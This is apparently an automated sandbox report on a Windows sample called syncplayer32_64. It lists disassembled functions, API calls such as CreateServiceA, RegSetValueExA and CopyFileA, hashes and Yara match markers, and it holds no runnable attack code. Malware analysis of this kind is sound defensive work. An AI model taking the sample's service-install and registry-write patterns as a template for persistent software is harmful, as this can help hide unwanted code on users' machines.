CreateFileA.KERNEL32 ref: 02BBA4BF

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b7a000_syncplayer32_64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f07adb648409aaccb27c882b31833f38ac170da8364c2eb065a0998ebb051510
Instruction ID: 8951ade686430a4069c66aacef6313556d7eed07444766b83abd017c7e1fea1f
Opcode Fuzzy Hash: f07adb648409aaccb27c882b31833f38ac170da8364c2eb065a0998ebb051510
Instruction Fuzzy Hash: 01E086B350C104EFE3422604EC45BFEB7A8FB54225F080429E795C2340E635D810C597

Function 02B7E501 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 02B855CF

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b7a000_syncplayer32_64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c7f0de763f360e388eadfeea71ffd40204681bbcbd66d81d7cd133b489f28564
Instruction ID: 7281210c0925aeb76c589ecb5ef893b579f0b819fb7f1a8bc3b68aa2c2f0432b
Opcode Fuzzy Hash: c7f0de763f360e388eadfeea71ffd40204681bbcbd66d81d7cd133b489f28564
Instruction Fuzzy Hash: 42E086B381C705DBD1183A24A8242F477D0FB41268F06065DD1A2866C1F9320800C397

Function 02B4E330 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4E335

Part of subcall function 02B53B4C: _malloc.LIBCMT ref: 02B53B64

Part of subcall function 02B4E551: __EH_prolog.LIBCMT ref: 02B4E556

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f7ef7d03455a16549ad7c93ce332a2a98d1bf7ddb8d70d88ef3b3ae6ee2f5292
Instruction ID: 1f8f74c5261d53f9aedf6512fe916b6c4432b91493aa6af3004c24a77c9fb07c
Opcode Fuzzy Hash: f7ef7d03455a16549ad7c93ce332a2a98d1bf7ddb8d70d88ef3b3ae6ee2f5292
Instruction Fuzzy Hash: 67E08C71A01609ABCB09AF68D80573EB7A6EB04700F0082EEB80AD6340EF74C9009B04

Function 02B53452 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02B55C5A: __getptd_noexit.LIBCMT ref: 02B55C5B
Part of subcall function 02B55C5A: __amsg_exit.LIBCMT ref: 02B55C68

Part of subcall function 02B53493: __getptd_noexit.LIBCMT ref: 02B53497
Part of subcall function 02B53493: __freeptd.LIBCMT ref: 02B534B1
Part of subcall function 02B53493: RtlExitUserThread.NTDLL(?,00000000,?,02B53473,00000000), ref: 02B534BA

__XcptFilter.LIBCMT ref: 02B5347F

Part of subcall function 02B58D94: __getptd_noexit.LIBCMT ref: 02B58D98

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
String ID:
API String ID: 1405322794-0
Opcode ID: b4c5186a2ec95c7dd76a31974a594c2ae4a6ea2f7bed89b51e933613bc9a6e31
Instruction ID: 4f3e26a49f0b796b0dea5504e64e3748e705515fdb716f83d0223c9868b506f0
Opcode Fuzzy Hash: b4c5186a2ec95c7dd76a31974a594c2ae4a6ea2f7bed89b51e933613bc9a6e31
Instruction Fuzzy Hash: 87E0ECB19006109FEB08ABE4D849F2D77A6AF04701F2000D8E502AF2A1CA75A9409F20

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040B1AE

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: cf02874c91136b65af9bd825d1381e977544c6f19db623b2ee5f13e18966f16a
Instruction ID: 10f8f75b7a5b984e447f2145cc5bc855778ec6c053f869de84572faec0d0a7fd
Opcode Fuzzy Hash: cf02874c91136b65af9bd825d1381e977544c6f19db623b2ee5f13e18966f16a
Instruction Fuzzy Hash: 7FD0C9B0188207AED6415A145EE9A6B6A9D9700389B610077A703FA0D2C77C4913A56E

Function 0040218B Relevance: 1.5, APIs: 1, Instructions: 10libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(?), ref: 004026F6

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2ffefd193c90f92843d900ae7330acfb58593e384b9b8f8cb04d9a15729fff3b
Instruction ID: 55da86a7c22177fb9da8a741819d44dacaf13f9e8be777b109144a2e47aab9ed
Opcode Fuzzy Hash: 2ffefd193c90f92843d900ae7330acfb58593e384b9b8f8cb04d9a15729fff3b
Instruction Fuzzy Hash: 73C08C30204225DBDF809F68CD0845A7BB0BB09390B20443AA802E6190C37AD546FA6A

Function 02B7E561 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 02B855CF

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B7A000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B7A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b7a000_syncplayer32_64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 00fda21aa4f6999b1973ee98266424329fe882cbed75b6e160fb1869c6f4db92
Instruction ID: 5074ca38ea3061d0b07b6d9aedac918fdbe649dbdeb16093f07291f22f66216d
Opcode Fuzzy Hash: 00fda21aa4f6999b1973ee98266424329fe882cbed75b6e160fb1869c6f4db92
Instruction Fuzzy Hash: B7C08CB2C0CA00CB82202A2000342F872D4FF003B8B0207E0D8BB970C1F6204801C762

Function 0040B84A Relevance: 1.5, APIs: 1, Instructions: 6fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 0040B8D6

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: d5a3fef82cecfca98db9aba2d8c584e4ae6fa9098fd7d698bfa279117e310313
Instruction ID: 27b55a9f479c15cebb526eb568bd9ea3016fd92b45f578236ba450c513afd059
Opcode Fuzzy Hash: d5a3fef82cecfca98db9aba2d8c584e4ae6fa9098fd7d698bfa279117e310313
Instruction Fuzzy Hash: 5AA01220108011A9C20017210E4CA132B1CA8042D13104432600BF0090D2344001B17E

Function 004022EC Relevance: 1.5, APIs: 1, Instructions: 5registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?), ref: 0040BA08

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1685f7c456d3d7887bc01c2fe76020513d77641223809071ceb0ed41a957b4e2
Instruction ID: 944dab8ff0565964d74a122081c590851967a83f6e2dc0eec7852cf0a04d5f88
Opcode Fuzzy Hash: 1685f7c456d3d7887bc01c2fe76020513d77641223809071ceb0ed41a957b4e2
Instruction Fuzzy Hash: E3B00235554444EBDF495BD49D0456C7E31FB84305F150065D10371460C73D1961BF5E

Function 0040B515 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32 ref: 0040B5A1

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: ffc4156f4625b7330c2c93eec9769fdc55d30a559b91697e3db6804761c21309
Instruction ID: 793a130eaca3266a2f1c00059c7ae23f2cef2ef9cd4948159e0a6ae6d704bc34
Opcode Fuzzy Hash: ffc4156f4625b7330c2c93eec9769fdc55d30a559b91697e3db6804761c21309
Instruction Fuzzy Hash: 89A011280AA020E2C00023800E0882A2828AB0A30233080B32303B00C002BE200222BF

Function 0040B7A7 Relevance: 1.5, APIs: 1, Instructions: 3registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 0040B7A7

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 2f0c0ee7b93b816afec65687230915d1bc6eeac997074f0fddbeeaaeb13b03ca
Instruction ID: 132241704f2cbcee585da161d3a163a158114c8ee8dc4bba32472dba3306d5aa
Opcode Fuzzy Hash: 2f0c0ee7b93b816afec65687230915d1bc6eeac997074f0fddbeeaaeb13b03ca
Instruction Fuzzy Hash: A5A0023184C011DBC6058B60FF0C4143EB1A7093053114131F30B745F9C7756565AB0E

Function 02B52160 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 02B51610: OpenEventA.KERNEL32(00100002,00000000,00000000,114A922B), ref: 02B516B0
Part of subcall function 02B51610: CloseHandle.KERNEL32(00000000), ref: 02B516C5
Part of subcall function 02B51610: ResetEvent.KERNEL32(00000000,114A922B), ref: 02B516CF
Part of subcall function 02B51610: CloseHandle.KERNEL32(00000000,114A922B), ref: 02B51704

TlsSetValue.KERNEL32(00000029,?), ref: 02B521AA

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$OpenResetValue
String ID:
API String ID: 1556185888-0
Opcode ID: e9cc1a342d52284c39f8de160e7b60388ee78a5e57bd8f4786e3f5881d8ae662
Instruction ID: f780c4481d59e7fb98e81ada290c4636acb5967359ebe8032cf84885e10b2a2c
Opcode Fuzzy Hash: e9cc1a342d52284c39f8de160e7b60388ee78a5e57bd8f4786e3f5881d8ae662
Instruction Fuzzy Hash: 4501A271A54614AFD710CF69DC49B5ABBE8FB056B0F104BAAF825D7380D73569108BA0

Function 004021D3 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 0040B93E

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c335043b519f2b7277d5842a893cee35beae00b72767f8ea11296971a4b78269
Instruction ID: 79585b8f341685c68b0e75d4489d2e542e5d1b4f03319b621c85242959596837
Opcode Fuzzy Hash: c335043b519f2b7277d5842a893cee35beae00b72767f8ea11296971a4b78269
Instruction Fuzzy Hash: 4AE08CB4448A02AAC3010760AA187343670BB05700F25047BEA02B21E287BC0802A78F

Function 00402247 Relevance: 1.3, APIs: 1, Instructions: 14stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 00402247

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: bfd32e8bebaf4738c04e136f569557cb02e4688712b64a1060ec01c40fd57dfd
Instruction ID: e07d2102fba6444aa55bc0a7879b2a1ecf55d77455f7471e3be8c1f9681d9c54
Opcode Fuzzy Hash: bfd32e8bebaf4738c04e136f569557cb02e4688712b64a1060ec01c40fd57dfd
Instruction Fuzzy Hash: 84D0C930908005EAD714DB619A48ABB36B8EA44300B704473E813F16D1D73EDE46AA9F

Function 004025F0 Relevance: 1.3, APIs: 1, Instructions: 10sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 0040B93E

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 682526c0c53ba6acc547c1bdcedabad2b60da86fe09904c3499cf70290685139
Instruction ID: 2782af7457ad241782e5169fc804e2becae23a1994249feb63baa776145ba201
Opcode Fuzzy Hash: 682526c0c53ba6acc547c1bdcedabad2b60da86fe09904c3499cf70290685139
Instruction Fuzzy Hash: 61C04CA158870199D2002BB06A46B782520B705B05F24113BB643744E58ABD1447965F

Function 0040B15C Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000), ref: 0040B260

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 367dd195deafc3b886d2342e0733c4b0975a9da48394fd82849ff99efdd45b3f
Instruction ID: 5ead19ffc53d7ebbd026c2da0249c553de8f3b5c399c0c92b75fbb43df237dc5
Opcode Fuzzy Hash: 367dd195deafc3b886d2342e0733c4b0975a9da48394fd82849ff99efdd45b3f
Instruction Fuzzy Hash: FBC04C71448116EAC6104BA1899966B7E65E704794F210066A60775190D3390455F6EE

Function 0040B172 Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0040B172

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6c2b882dcdb7a1abf5e8527242581c468366344255ea5e0c2e87ef9d24219f61
Instruction ID: 74068045256470f3dd3a554cd5d3f0a6b0424d4603797d1e90b4fc6c33a71604
Opcode Fuzzy Hash: 6c2b882dcdb7a1abf5e8527242581c468366344255ea5e0c2e87ef9d24219f61
Instruction Fuzzy Hash: 06B09260088600F6C2050E20A908F6AB621F704304F210033A203304D083790223B6CF

Function 0040B4AE Relevance: 1.3, APIs: 1, Instructions: 3stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 0040B4AE

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 58518032dce7e08399cfbf633ec0c1ad6fa6c0c7b9169ebf8e670fd16a8bf198
Instruction ID: 626df6a65ccca3d51b9a7a97a2b85cf4dd9eb484785059a454c979b0bf256277
Opcode Fuzzy Hash: 58518032dce7e08399cfbf633ec0c1ad6fa6c0c7b9169ebf8e670fd16a8bf198
Instruction Fuzzy Hash: A0900270245105DAE2105B72591C2152554A50C78131184355803E4251D7398011556D

Non-executed Functions

Function 02B508C0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179windowCOMMON

Download Yara Rule

APIs

Part of subcall function 02B49AD9: __EH_prolog.LIBCMT ref: 02B49ADE
Part of subcall function 02B49AD9: _Allocate.LIBCPMT ref: 02B49B35
Part of subcall function 02B49AD9: _memmove.LIBCMT ref: 02B49B8C

FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 02B509A2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 02B509AA

Strings

Unknown error, xrefs: 02B509F9
invalid string position, xrefs: 02B50AF6

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AllocateErrorFormatH_prologLastMessage_memmove
String ID: Unknown error$invalid string position
API String ID: 1017912131-1837348584
Opcode ID: 590959b49f6d2f480518a87d52fd10140c4d2fa0abcc9dceb17a0e76439df9b8
Instruction ID: edd059261db0a2cc5bd8bf2cf3bcf63befad36835965bed5c26ab98065011467
Opcode Fuzzy Hash: 590959b49f6d2f480518a87d52fd10140c4d2fa0abcc9dceb17a0e76439df9b8
Instruction Fuzzy Hash: E7518B716083419FE714EF24C890B2EBBE4EB98744F500DADF8929B691D771E588CB52

Function 02B59528 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,02B54E96,?,?,?,00000001), ref: 02B5952D
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 02B59536

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b96facdca6b65925c9fca32f216ef8c280479fa442eda5c97cca6e6bc984d4e4
Instruction ID: 1738433b1c08ecc58f7f90c012ec2d8014f5de3906763f7ccebdea2b287250ba
Opcode Fuzzy Hash: b96facdca6b65925c9fca32f216ef8c280479fa442eda5c97cca6e6bc984d4e4
Instruction Fuzzy Hash: E6B09231498208EBCB012BD1EC0DB89BF28EB046AAF004810F60D46090CF665430AAB1

Function 004021BA Relevance: 1.5, APIs: 1, Instructions: 5serviceCOMMON

Download Yara Rule

APIs

CreateServiceA.ADVAPI32 ref: 0040B88C

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CreateService
String ID:
API String ID: 1592570254-0
Opcode ID: 4a5a075c31a5565f47885ef3262e2ae0e986f27cea8cae0c57d077f8a0bf62d8
Instruction ID: 0d72f299e3292f0dbb6d7f02471d5fcbb0e6c25bfe3a29601b0c5ca38fa06da3
Opcode Fuzzy Hash: 4a5a075c31a5565f47885ef3262e2ae0e986f27cea8cae0c57d077f8a0bf62d8
Instruction Fuzzy Hash: 6EA02220088002CFC2003F800C8C02A200CC0003C03308832C003F00E0C338008ABCFF

Function 00402774 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 00402774

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: d897ad30ca74ad1159156f350e90eed3a975547678c72712f9971f2cea4a1484
Instruction ID: ecce91628b5bb0d88f311c4f8897261eaba8f6d2253593edf78e6da11db3912e
Opcode Fuzzy Hash: d897ad30ca74ad1159156f350e90eed3a975547678c72712f9971f2cea4a1484
Instruction Fuzzy Hash:

Function 02B424E1 Relevance: 21.2, APIs: 14, Instructions: 173COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B424E6
InterlockedCompareExchange.KERNEL32(?,00000000,00000001), ref: 02B424FC
RtlEnterCriticalSection.NTDLL(?), ref: 02B4250E
RtlLeaveCriticalSection.NTDLL(?), ref: 02B4256D
SetLastError.KERNEL32(00000000,?,74DEDFB0), ref: 02B4257F
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?,74DEDFB0), ref: 02B42599
GetLastError.KERNEL32(?,74DEDFB0), ref: 02B425A2
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02B425F0
InterlockedDecrement.KERNEL32(00000002), ref: 02B4262F
InterlockedExchange.KERNEL32(00000000,00000000), ref: 02B4268E
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02B42699
InterlockedExchange.KERNEL32(00000000,00000001), ref: 02B426AD
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,74DEDFB0), ref: 02B426BD
GetLastError.KERNEL32(?,74DEDFB0), ref: 02B426C7

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$ErrorLast$CompareCompletionCriticalQueuedSectionStatus$DecrementEnterH_prologLeavePost
String ID:
API String ID: 1213838671-0
Opcode ID: a872eb9c62305e54641ea959de5d6f0421177e63c6f49c0f900df070c59b72bb
Instruction ID: f611275481fd6cbdac00973ef5e3b18199361ab1a3011fd1ed686bcd58b7a17d
Opcode Fuzzy Hash: a872eb9c62305e54641ea959de5d6f0421177e63c6f49c0f900df070c59b72bb
Instruction Fuzzy Hash: 6F610D71900209AFCB10DFA4D988AAEFBB9FF08354F1449A9F956E7240DB349954EF60

Function 004023B3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 75registrysynchronizationthreadCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32(EC SyncPlayer 11.4.45,Function_0000235E), ref: 004023C1
SetServiceStatus.ADVAPI32(0040A0E0), ref: 00402420
GetLastError.KERNEL32 ref: 00402422
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040242F
GetLastError.KERNEL32 ref: 00402450
SetServiceStatus.ADVAPI32(0040A0E0), ref: 00402480
CreateThread.KERNEL32(00000000,00000000,Function_000022CB,00000000,00000000,00000000), ref: 0040248C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00402495
CloseHandle.KERNEL32 ref: 004024A1
SetServiceStatus.ADVAPI32(0040A0E0), ref: 004024CA

Strings

EC SyncPlayer 11.4.45, xrefs: 004023BC

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Service$Status$CreateErrorLast$CloseCtrlEventHandleHandlerObjectRegisterSingleThreadWait
String ID: EC SyncPlayer 11.4.45
API String ID: 3346042915-1070465486
Opcode ID: 753c8bccf627cb5353d4a294398c8736193124083ae435b11ee25f47cab8285e
Instruction ID: 1a4fa667c52d7ff4d8feb8687d6354091a6dd8a48d2d3221dc43f066c35bd2fd
Opcode Fuzzy Hash: 753c8bccf627cb5353d4a294398c8736193124083ae435b11ee25f47cab8285e
Instruction Fuzzy Hash: B5210A70841309EBD210DF16EF49E567FB8EB85754B11C03BE606B22B0D7BA0064EB6E

Function 02B58333 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 02B5833B
_free.LIBCMT ref: 02B58354

Part of subcall function 02B52F74: HeapFree.KERNEL32(00000000,00000000,?,02B55CD2,00000000,00000104,74DF0A60), ref: 02B52F88
Part of subcall function 02B52F74: GetLastError.KERNEL32(00000000,?,02B55CD2,00000000,00000104,74DF0A60), ref: 02B52F9A

_free.LIBCMT ref: 02B58367
_free.LIBCMT ref: 02B58385
_free.LIBCMT ref: 02B58397
_free.LIBCMT ref: 02B583A8
_free.LIBCMT ref: 02B583B3
_free.LIBCMT ref: 02B583D7
RtlEncodePointer.NTDLL(00A7C128), ref: 02B583DE
_free.LIBCMT ref: 02B583F3
_free.LIBCMT ref: 02B58409
_free.LIBCMT ref: 02B58431

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: a47abe3c2b147ea6cdb07f91f7b7db425253dda7838dba529f52027edeb1930a
Instruction ID: 11e0c74bc5ca965cdb7d8018bc38dbe47f23f8f2bd7668a7e4d7bcb0622b69ff
Opcode Fuzzy Hash: a47abe3c2b147ea6cdb07f91f7b7db425253dda7838dba529f52027edeb1930a
Instruction Fuzzy Hash: C7216D32D42631CBCB256F14F88475977B9FB057A431D49BAEC089B290DB74A8ACDF90

Function 00405915 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004065F4,00000001,00000000,00000000,00000103,00000001,00000000,?,004051E5,00200020,00000000,?,00000000,00000000), ref: 00405957
LCMapStringA.KERNEL32(00000000,00000100,004065F0,00000001,00000000,00000000,?,004051E5,00200020,00000000,?,00000000,00000000,00000001), ref: 00405973
LCMapStringA.KERNEL32(?,?,?,?,Q@ ,?,00000103,00000001,00000000,?,004051E5,00200020,00000000,?,00000000,00000000), ref: 004059BC
MultiByteToWideChar.KERNEL32(00000000,00000002,00000000,00200020,00000000,00000000,00000103,00000001,00000000,?,004051E5,00200020,00000000,?,00000000,00000000), ref: 004059F4
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405A4C
LCMapStringW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405A62
LCMapStringW.KERNEL32(?,?,?,00000000,Q@ ,?,?,004051E5,00200020,00000000,?,00000000), ref: 00405A95
LCMapStringW.KERNEL32(00000000,?,?,?,?,00000000,?,004051E5,00200020,00000000,?,00000000), ref: 00405AFD

Strings

Q@ , xrefs: 00405B15, 00405A88, 004059AD

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

